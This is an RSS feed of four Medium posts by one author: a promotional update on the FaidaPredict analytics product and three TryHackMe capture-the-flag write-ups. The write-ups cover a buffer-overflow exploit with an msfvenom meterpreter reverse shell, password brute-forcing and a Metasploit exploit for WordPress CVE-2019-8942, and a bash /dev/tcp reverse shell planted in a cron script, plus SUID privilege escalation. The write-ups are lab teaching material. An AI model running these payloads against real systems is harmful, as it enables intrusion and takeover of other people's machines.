<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Edwin Ngugi on Medium]]></title>
        <description><![CDATA[Stories by Edwin Ngugi on Medium]]></description>
        <link>https://medium.com/@ray3du?source=rss-d09dcac778d0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7ZjrNYBRWfh7xdaGJZdnAA.jpeg</url>
            <title>Stories by Edwin Ngugi on Medium</title>
            <link>https://medium.com/@ray3du?source=rss-d09dcac778d0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 22 May 2026 13:15:02 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ray3du/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Where We Are and Where we are Going: The FaidaPredict Journey]]></title>
            <link>https://medium.com/@ray3du/where-we-are-and-where-are-going-the-faidapredict-journey-6c5b101302b7?source=rss-d09dcac778d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/6c5b101302b7</guid>
            <category><![CDATA[ai-predictions]]></category>
            <category><![CDATA[data-analytics]]></category>
            <category><![CDATA[data-visualization]]></category>
            <category><![CDATA[sales-prediction]]></category>
            <dc:creator><![CDATA[Edwin Ngugi]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 19:54:15 GMT</pubDate>
            <atom:updated>2025-06-26T19:56:31.129Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nMoBG1VjO3HAxTbaZIG4gw.png" /></figure><h4>1. Introduction: The Journey Begins</h4><p>Prior to founding <a href="https://plentiersystems.com/">Plentier Systems</a>, we its core team have spent years working across various ERP system intergrations. In every project, a common theme emerged: SMEs were flying blindly. Reporting toools existed, but they lacked depth. At best, they presented static historic data. At worst, they overwhelmed users with complexity and noise.</p><p>Some platforms offered flexible report builders. But very few delivered predictive Insights, the kind that could help a business owner anticipate trends, optimize operations, or make informed decisions in real time.</p><p>That limitation sparked an idea.</p><p>In 2024, One of our co-founders introduced to us Kelvin, who would later become part of the founding team. He came with a clear, compolling vision.</p><blockquote><em>“Lets democratize business intelligence and data analysis. Lets bring AI powered insights to SMEs”</em></blockquote><p>That conversation marked the beginning of <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a> our commitment to make powerful, predictive insights accessible to everyday businesses. After months of brainstorming, prototyping, and validating our assumptions with real users and transactions data, we have reached our first milstone:</p><p>On June 14th, 2025 we launched the MVP of <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a><strong>.</strong></p><p>But this was never just about launching a product. It was about building a platform that helps SMEs move from <em>hindsight to insight</em> without needing a data science team or a massive IT budget.</p><p><strong>2. Where We Are: Present Day</strong><a href="https://www.faidapredict.com"><strong> FaidaPredict</strong></a></p><p>Today, <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a> is moving from idea to impact.</p><p>We have built a working platform tha gives SMEs, Lenders, and SACCOs the power to make informed, data driven decisions without needing a full tech or data analysis team.</p><h4>a. Seamless Data Integration</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*toj2vy6VH8mQUzU77qPwEg.jpeg" /></figure><p>We have made it simple for businessesto bring their data into <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a> through a variety of common formats and systems.</p><ul><li>Excel Uploads</li><li>Quickbooks, Odoo, ERPNext, and TallyPrime exports</li><li>MySQLand PostgreSQL live database connections</li><li>TallyPrime server intergration: just enable TallyPrime as a server and <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a><strong> </strong>can fetch your data automatically in real-time.</li></ul><h4>b. Predictive Intelligence For Everyday Business</h4><p>Once your data is on <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a>, you can utilize powerful AI models that provide actionable insights such as:</p><ul><li>Sales Forecasting</li><li>Customer Lifetime Value Prediction</li><li>Customer Churn Prediction</li><li>Supplier Lifetime Value and Churn Prediction</li><li>Transaction Fraud Risk Detection</li></ul><p>We have enabled support for both <em>classification and regression algorithms</em>, giving users freedom to choose what works best for them based on accuracy and use case.</p><h4>c. Tools for Advanced Users</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnRnga9tk652ShPjaJDrAw.jpeg" /></figure><p>For advanced users and analysts, <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a><strong> </strong>includes:</p><ul><li>A built-in SQL Editor</li><li>Remote SQL and Postgres data connection</li><li>The ability to query either your company’s own database or the secure database provisioned by <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a></li></ul><p>This flexibilty makes it easier for growing teams to scale their data workflows without being locked into grid dashboards.</p><h4>d. Challenges We are Navigating</h4><p>We are proud of the progress so far but as a small and dedicated team we face challenges:</p><ul><li>Balancing feature development and bug fixes with limited resource.</li><li>High demand for a desktop version <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a>, as many users prefer to keep their data stored locally. (We are actively working on this to keep things fast, secure, and user friendly).</li></ul><h4>3. Where We are Going: The Road Ahead</h4><p>As we solidify the foundation of <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a>, our next big focus is growth.</p><h4>a. Marketing and Awareness</h4><p>We have validated the need. we have built the MVP. Now, it is time to reach the businesses that need us most.</p><p>Our immediate priority is to ramp up marketting efforts rising awareness amoung SMEs, SACCOs and Lenders who can benefit from <a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a><strong>’s </strong>intelligence. We want to show them that <strong><em>AI powered insights</em></strong> are not just for the enterprise elites they are for everyone.</p><p><strong>b. Smarter Tools for Smatter Decisions</strong></p><p>While refining our current feature set, we are also building the next wave of innovations</p><ul><li><em>AI agents to generate SQL queries</em> — Users will be able to ask questions in plain english and instantly receive queries they can run or modify no advanced skills needed.</li><li><em>Dimensions and Metrics Dashboards — </em>We are developing tools to automatically convert SQL queries into sharable dashboards, giving analysts and decision makers a visual way to communicate<em>.</em></li></ul><p><a href="https://www.faidapredict.com"><strong>FaidaPredict</strong></a><strong> </strong>is still early in its journey, but the mission is clear: <em>Empower SMEs with intelligent, predictive tools that help them grow, compete and thrive</em>.</p><p><strong>Join US</strong></p><p>Lets shape the future of business intelligence together.</p><p>Visit us at <a href="https://www.faidapredict.com"><em>https://www.faidapredict.com</em></a> or reach out to explore how you can be part of the journey.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c5b101302b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Stack Based Buffer Overflow Guide(TryHackMe Write-up)]]></title>
            <link>https://medium.com/@ray3du/stack-based-buffer-overflow-guide-tryhackme-write-up-553b9bc9e83b?source=rss-d09dcac778d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/553b9bc9e83b</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Edwin Ngugi]]></dc:creator>
            <pubDate>Wed, 19 Aug 2020 06:01:01 GMT</pubDate>
            <atom:updated>2020-08-19T06:27:52.790Z</atom:updated>
            <content:encoded><![CDATA[<h3>Exploiting Stack Based Buffer Overflow Guide(TryHackMe Write-up)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*WgmOvkbQJJwjtOAE0S3AXA.png" /><figcaption>Gatekeeper logo</figcaption></figure><p>In this article, I am going to demonstrate exploiting a windows machine by exploiting buffer overflow through using custom exploitation. I will be working with both a Linux and a Windows workstation.</p><h3>Enumeration</h3><p>Enumeration is essential in any penetration testing activity. I started by scanning all the ports on the machine to see the open ones. First, I will export the IP address of the host so that it can be in a variable for easy access (It can be accessed using the dollar symbol “$” followed by the variable name).</p><p><em>export ip=10.10.94.250</em></p><p><em>nmap -v $ip -oN ports.txt (“-v for verbose and -oN to save in a file”)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/564/1*FunvgGVHlVWlqsxVMcNfjA.png" /><figcaption>Port scan results</figcaption></figure><p>The machine has five open ports but I still don’t know the version of the services running on those ports. So I did more enumeration on the open ports to see the service and the versions they are running “-sC for all the default scripts and -sV for service enumeration.”</p><p><em>nmap -sC -sV -T4 -v -p135,139,445,3389,31337 $ip -oN scan.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*531sXdiUhhSUV_I7I-MfyQ.png" /><figcaption>Nmap report</figcaption></figure><p>Let’s enumerate port 339 and port 445 that are mostly used by SMB. I used smbclient to enumerate the shares in the host.</p><p><em>smbclient -L \\\\$ip (Lists the shares on the host)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/553/1*3FkrvqH0CpoNu_7QdE8bkA.png" /><figcaption>Shares on the host</figcaption></figure><p>From my experience enumerating SMB shares the <em>ADMIN$</em>, <em>C$,</em> and <em>IPC$</em> mostly require authentication to access. So I started with the Users’ share, which did not require any authentication. I was able to download a Windows executable under the Shares folder in the Users share.</p><p><em>smbclient \\\\$ip\Users</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/672/1*ClTdfwI5nRAEpE4YLcogHQ.png" /><figcaption>Users share enumeration</figcaption></figure><p>Since this is a buffer overflow machine I was not expecting to get any information on port 135 (RPC) and port 3389 (RDP), so I ignored them while enumerating port 31337 using telnet.</p><p><em>telnet $ip 31337</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/560/1*x3n48NBN_ggmtjn8keNvmQ.png" /><figcaption>Telnet enumeration</figcaption></figure><p>From the result, we can see that when I type a string it returned a string followed by the string I typed. Upon further enumeration, I noticed that the windows executable (gatekeeeper.exe) works the same as the service on port 31337.</p><h3>Buffer Overflow Enumeration</h3><p>I started by running gatekeeper.exe on my windows machine, and it was just listening for connections. Meaning I have to make a connection to it using sockets. I used python to make the socket connection.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/644/1*Mqi5RVGyiComwFAoYnKqKA.png" /><figcaption>Starting gatekeeper.exe</figcaption></figure><p>Python script to make the connection and send some data to gatekeeper.exe. I sent my name (ray3du) to the windows executable, and it returned the string “hello ray3du” meaning my connectivity to the program worked.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*GYjMtjs9o-c2HL0GIJ6z2g.png" /></figure><p>Now to test for Buffer Overflow I sent a bunch of A’s starting with 50 A’s and gradually increasing the number of A’s until the program crashed. The program crashed after sending 150 A’s to it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*sANYrEeIAb7J1_cVBnipyg.png" /><figcaption>Sending 150 A’s to gatekeeper.exe</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/541/1*_yhsspHJPCkc12SdTyzl4A.png" /><figcaption>gatekeeper crashed at 150 A’s</figcaption></figure><p>When the program crashed it meant that I had successfully overwritten the EIP (extended instruction pointer). The EIP points the next instruction to be executed by the program. This means that if we manage to change the EIP to point to a reverse shell I might be able to exploit the machine.</p><h3>Finding Offset</h3><p>I used Metasploit’s pattern-create modules to produce bytes based on the number of A’s that crashed the program.</p><p><em>msf-pattern_create -l 150</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*D8YB66x6zjHw2ieVEjGPdQ.png" /><figcaption>Pattern create</figcaption></figure><p>The reason why this is necessary is that 150 is not the exact point where the EIP was overwritten, so we have to find the exact point. Now I modified my python testing script and replaced the A’s with the bytes produced my pattern_create.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*YHNHOY-bS5zmY8AnEAWtcA.png" /></figure><p>Before running the python script open immunity debugger as an administrator, attach gatekeeper.exe, and press play. This will enable you to read the value of EIP when the program crashes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*U1p8tPPJLLB8bM8l5gDujw.png" /><figcaption>Immunity debugger result</figcaption></figure><p>After running the script I was able to obtain the value of EIP (39654138) which we will use to obtain the exact point the EIP was overwritten using Metasploit’s pattern_offset module.</p><p><em>msf-pattern_offset -l 150 -q 39654138 (-l for the data length and -q for the EIP value)</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/646/1*3DLRgpLbFAH7AoA2AbwfLA.png" /><figcaption>Pattern offset</figcaption></figure><p>The exact match was found meaning that anything beyond 146 will overwrite the EIP. So if I send 146 A’s and 4 B’s the EIP is supposed to have the hex value of the 4 B’s which is 42424242. Lets try to see if this is true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/634/1*bB9UN_b0cyLUJ5WFAa8Q2w.png" /><figcaption>Overwriting the EIP</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*1vuEA89IoU558DxdGqpBYg.png" /><figcaption>Immunity debugger result</figcaption></figure><p>From the result you can see that the EIP is reading 42424242 which is the hex code for the four B’s. Meaning that I have successfully overwritten EIP.</p><h3>Finding Bad Characters</h3><p>Here we are trying to find all the hexadecimal characters that we can use in our exploit without being rejected by the program. To do this I modified the python script by adding all hexadecimal characters to the data sent. Before running the script open immunity debugger and attach gatekeeper.exe.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/631/1*9GSxRZNAimrRsGKxhHK9mQ.png" /><figcaption>Python script to test for bad characters</figcaption></figure><p>To view, the bad characters right-click on ESP (extended stack pointer) and click on flow in the dump. I manually double-checked from the last 42 (B’s) to the last hex character if they are following each other in a sequential manner. I used the bad characters and the hex dump to compare them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*HBlC5OOnBSSuC2jDpMNANg.png" /><figcaption>ESP hex dump</figcaption></figure><p>From the result, I found out that “\x0a” was a bad character as it was being replaced in the hex dump by “\x00”. And also by default “\x00” (null character) is a bad character. So I had two bad characters \x00 and \x0a. We will exclude the bad characters when producing the reverse shell.<br>Now that we have control of the EIP (instruction pointer) we will use !mona to find the JMP ESP. JMP command is an assembly language mnemonics that is used to perform an unconditional jump. So we will use it to jump to the ESP.</p><p>!mona jmp -r esp</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vQKhF-BCY6KfhFg3FpLdbA.png" /><figcaption>!mona jmp -r esp</figcaption></figure><p>The characters were small to view, but it located pointers with<em> jmp esp</em> and we will use the one that is highlighted in blue. We will use the leftmost value in white which was “080414C3”.</p><h3>Generating the shell code</h3><p>I used mfvenom to generate a meterpreter shell. (“-b excludes the hex code passed as a string”).</p><p><em>msfvenom -p windows/meterpreter/reverse_tcp EXITFUNC=thread -b “\x00\x0a” -f c LHOST=10.8.83.250 LPORT=8001</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*NC3xAO5aOMji86z4I_34QA.png" /><figcaption>msfvenom result</figcaption></figure><p>The next phase was to modify the python script to include the malicious reverse shell that I have generated. I used the 146 A’s and added “\xc3\x14\x04\x08” which is 080414C3 in reverse and holds the jmp esp pointer. Also the data I added “\x90” to add some padding. And I finally added the shellcode generated using msfvenom.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*j0DZ9s5NwECEI9ZQqdQImA.png" /></figure><p>Before running the script start Metasploit and load the handler module to start a listener.</p><p><em>msfconsole</em></p><p><em>use exploit/multi/handler</em></p><p><em>set payload windows/meterpreter/reverse_tcp</em></p><p><em>run</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*fUhTIXShjRu9qCoimkA6UQ.png" /><figcaption>Metasploit listener</figcaption></figure><p>Remember to set the listening port as the one you used to generate the reverse shell with msfvenom.<br>After running the script I got a shell back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*5dRyHtxsOeFX9EHxacJi-A.png" /><figcaption>Exploit</figcaption></figure><p>And we have successfully exploited the host via buffer overflow. Thank you for reading.</p><h3>References</h3><ol><li><a href="https://tcm-sec.com/2019/05/25/buffer-overflows-made-easy/">https://tcm-sec.com/2019/05/25/buffer-overflows-made-easy/</a></li><li><a href="https://medium.com/@sghosh2402/understanding-exploiting-stack-based-buffer-overflows-acf9b8659cba">https://medium.com/@sghosh2402/understanding-exploiting-stack-based-buffer-overflows-acf9b8659cba</a></li><li><a href="https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/">https://bulbsecurity.com/finding-bad-characters-with-immunity-debugger-and-mona-py/</a></li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=553b9bc9e83b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[WordPress Hacking (TryHackMe write up)]]></title>
            <link>https://medium.com/@ray3du/wordpress-hacking-tryhackme-write-up-1c895a1822b?source=rss-d09dcac778d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/1c895a1822b</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[Edwin Ngugi]]></dc:creator>
            <pubDate>Sat, 15 Aug 2020 10:54:36 GMT</pubDate>
            <atom:updated>2020-08-15T10:54:36.631Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/645/1*7EWr4Jo79eg_nKaMuHTFPQ.png" /></figure><p>WordPress is an open-source CMS (content management system) used for creating blogs and websites. We are going to test Blog a tryhackme machine (<a href="https://tryhackme.com/">https://tryhackme.com/</a>) to learn hacking version 5.0 of WordPress using CVE 2019–8942.</p><h3>Enumeration</h3><p>Enumeration is essential in getting as much information about the host, which enables easy exploitation.</p><p>Start nmap to map out the open ports on the host so that we can take advantage of services running on those ports that are not configured correctly.</p><p><em>nmap -v blog.thm -oN ports.txt </em>(“-v” for verbose and “-oN” to save the results)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/502/1*RKFH_nQupAHBYWg3Tsbw6Q.png" /><figcaption>Nmap port scan result</figcaption></figure><p>The host has four open ports 22, 80, 139, and 445. Start another nmap scan to enumerate the services and version using nmap scripts. These will give us a better understanding of the services running on the host.</p><p><em>nmap -sC -sV -p22,80,139,445 -oN service.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/669/1*OqRZtf4E8ClUhUMVKw9buw.png" /><figcaption>Nmap service scan results</figcaption></figure><p>The results immediately show that there is a robots.txt file with one disallowed entry, which seems to be a WordPress directory. Since port 80 is hosting a WordPress blog, we will use wpscan to enumerate it further.</p><p><em>wpscan — url blog.thm — enumerate </em>(“ — enumerate” is for enumerating users on the blog”)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/566/1*VStiX4_IH-mICsvoQaIfBA.png" /><figcaption>Wpscan results</figcaption></figure><p>The results show that there are two users registered on the blog. I tried to brute-forcing both of the users using wpscan, but only one succeeded.</p><p><em>wpscan — url blog.thm — usernames kwheel — passwords rockyou.txt</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*MaKeV0iCIjbXHHZGSOtbdw.jpeg" /><figcaption>Password brute-force result</figcaption></figure><p>I navigated to the blog to make sure that the result worked for the user. I was able to login to the dashboard successfully.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*rgGgsYqErBWubuwNrJGr7w.png" /><figcaption>WordPress dashboard</figcaption></figure><h3>Exploitation</h3><p>From the dashboard and also from previous wpscan scans on the blog, I was able to view the WordPress version. Knowing the WordPress version being utilized is essential in searching the right exploit. I was able to find a Metasploit module on rapid7 for CVE 2019–8942, which is an exploit for the WordPress version being used in this case.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*sAK85HxIGoQza_Tqv8OQJQ.png" /><figcaption>Metasploit exploitation</figcaption></figure><p>The module worked on my first try, and I got a meterpreter shell back. Meterpreter shells are powerful but in this case, I chose to use the Linux shell terminal.</p><p><em>shell</em></p><p><em>python -c “import pty; pty.spawn(‘/bin/bash’)”</em></p><p><em>export TERM=xterm</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*b3FMiIJO_n4qoXMPC8-h5Q.png" /><figcaption>Changing to bash terminal</figcaption></figure><h3>Privilege Escalation</h3><p>At this point, I ran linpeas.sh, which made me enumerate the MySQL database. The database contained some credentials, I tried to crack them, but it was all in vain it turned out to be a rabbit hole. So I decided to check for programs that run root as the owner, not the user who started it.</p><p><em>find / -perm -u=s 2&gt;/dev/null</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*L27WbbKXHNDrFD34KRoazQ.png" /><figcaption>Find results</figcaption></figure><p>The results had a program checker which, after checking on gtfobins I saw that it is a third party program probably created by the user. We will use ltrace which is a debugging tool that records and intercepts dynamic calls made to shared libraries.</p><p><em>ltrace checker</em></p><p>The result showed that the program tried to access the admin variable which, is initially set to nill. So let’s try setting the admin variable to 1 using export.</p><p><em>export admin=1</em></p><p>After running checker the uid was changed to root, and we got root privileges.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/576/1*KjwZEj_VKQky-igrYbf1ZA.png" /><figcaption>Privilege escalation</figcaption></figure><p>And we got root! I hope you enjoyed it. Thank you for reading.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1c895a1822b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Anonymous TryHackMe Write Up { Beginners Guide}]]></title>
            <link>https://medium.com/@ray3du/anonymous-tryhackme-write-up-beginners-guide-77e211e440ac?source=rss-d09dcac778d0------2</link>
            <guid isPermaLink="false">https://medium.com/p/77e211e440ac</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[hacks]]></category>
            <category><![CDATA[network-security]]></category>
            <dc:creator><![CDATA[Edwin Ngugi]]></dc:creator>
            <pubDate>Thu, 13 Aug 2020 17:09:20 GMT</pubDate>
            <atom:updated>2020-08-13T22:25:39.854Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/614/1*P2r5Zj6h556ShN4gA69S6A.png" /><figcaption>Anonymous machine logo</figcaption></figure><p>One of my favorite things to do in my spare time is playing CTF’s (capture the flag) on tryhackme (<a href="https://tryhackme.com/">https://tryhackme.com/</a> ). Today I tried the anonymous machine which is a Linux box with an interesting attack vector. Let’s get started!</p><p><strong>Enumeration</strong></p><p>I like storing the IP address in a variable for easy reference and access when using it.</p><p>export ip=10.10.114.44</p><p>I typically fire off nmap to map out the open ports on the machine using;</p><p>nmap -v $ip -oN scans.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*Cfi-wDK63Z4BySl33iUDAA.png" /><figcaption>nmap results</figcaption></figure><p>From the results there are four ports open and one filtered, we will concentrate on the open ports. let’s start with port 21 which is running FTP to see if we can access any files that are meant to be private. I tried login in to the FTP server anonymously using <em>anonymous</em> as the username and password and I had access to the FTP server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/537/1*7EmTM7YTPrYhrvH-ltsxew.png" /><figcaption>ftp anonymous login</figcaption></figure><p>As I suspected the ftp server has one folder <em>scripts</em> which can be viewed using the “ls” command. I used the “cd” command to enter into the folder which contains three files <em>clean.sh</em>, <em>removed_files.log,</em> and <em>to_do.txt</em>. To download the all the three files into your local machine use the “mget *” command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*bD8RMRYQb_YtJ5GoZGIo7Q.png" /><figcaption>ftp file download</figcaption></figure><h3>Exploitation</h3><p>Clean.sh file immediately captured my attention because it had the execute permission. My immediate thought was that the file might be running as a cronjob by the machine. I tested to see if the machine allowed anonymous upload of files through the FTP server, and to my surprise, it worked. So let’s modify the contents of clean.sh and add a reverse shell to connect back to our listener.</p><p><em>clean.sh (modified file content)</em></p><p>bash -c “bash -i &gt;&amp; /dev/tcp/“your ip”/8001 0&gt;&amp;1”</p><p>Before uploading the file to the FTP start a Netcat listener on port 8001 or the port number you used.</p><p>nc -lnvp 8001</p><p>Uploading the malicious file to the ftp server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*tPY7AfmdP1bc2NVLFI_EHQ.png" /><figcaption>uploading clean.sh to ftp</figcaption></figure><p>Immediately after uploading the file to the FTP server I got a shell back on my Netcat listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*2faj4TkGA08WOpH64ms94w.png" /><figcaption>reverse shell</figcaption></figure><h3>Maintaining Access</h3><p>Stabilizing the shell is important as you do not want to lose your shell when you accidentally click CTRL-C. First let’s change to a more stable shell using python.</p><p>python -c “import pty; pty.spawn(‘/bin/bash’)”</p><p>Now press CTRL-Z to run the shell in the background so that you can be able to set the terminal print using stty. TERM variable enables the clearing of the Linux terminal using the shell.</p><p>stty raw -echo;fg</p><p>stty -raw echo</p><p>export TERM=xterm</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*O6i4CX0uP7UVISgImmD1OQ.png" /><figcaption>Stabilizing the shell</figcaption></figure><h3>Privilege Escalation</h3><p>Privilege escalation is my favorite part cause you have the initial foothold and a popped shell already. First, locate linpeas.sh in your machine then upload it to the anonymous machine. Immediately after running, it lit up after detecting env has a SUID bit set. Which we may use to escalate our privilege in the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*on6N_p2IfLPDA3wsCZHbIQ.png" /><figcaption>Section of linpeas.sh result</figcaption></figure><p>This took me to gtfobins to check if there is an exploit for it. And I found a one-liner that spawns a shell with the euid set to root.</p><p>env /bin/sh -p</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/862/1*p3c23hn8uML-o6BDduLmdw.png" /><figcaption>Result of env /bin/sh -p</figcaption></figure><p>And we are done and hope you enjoyed it.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77e211e440ac" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>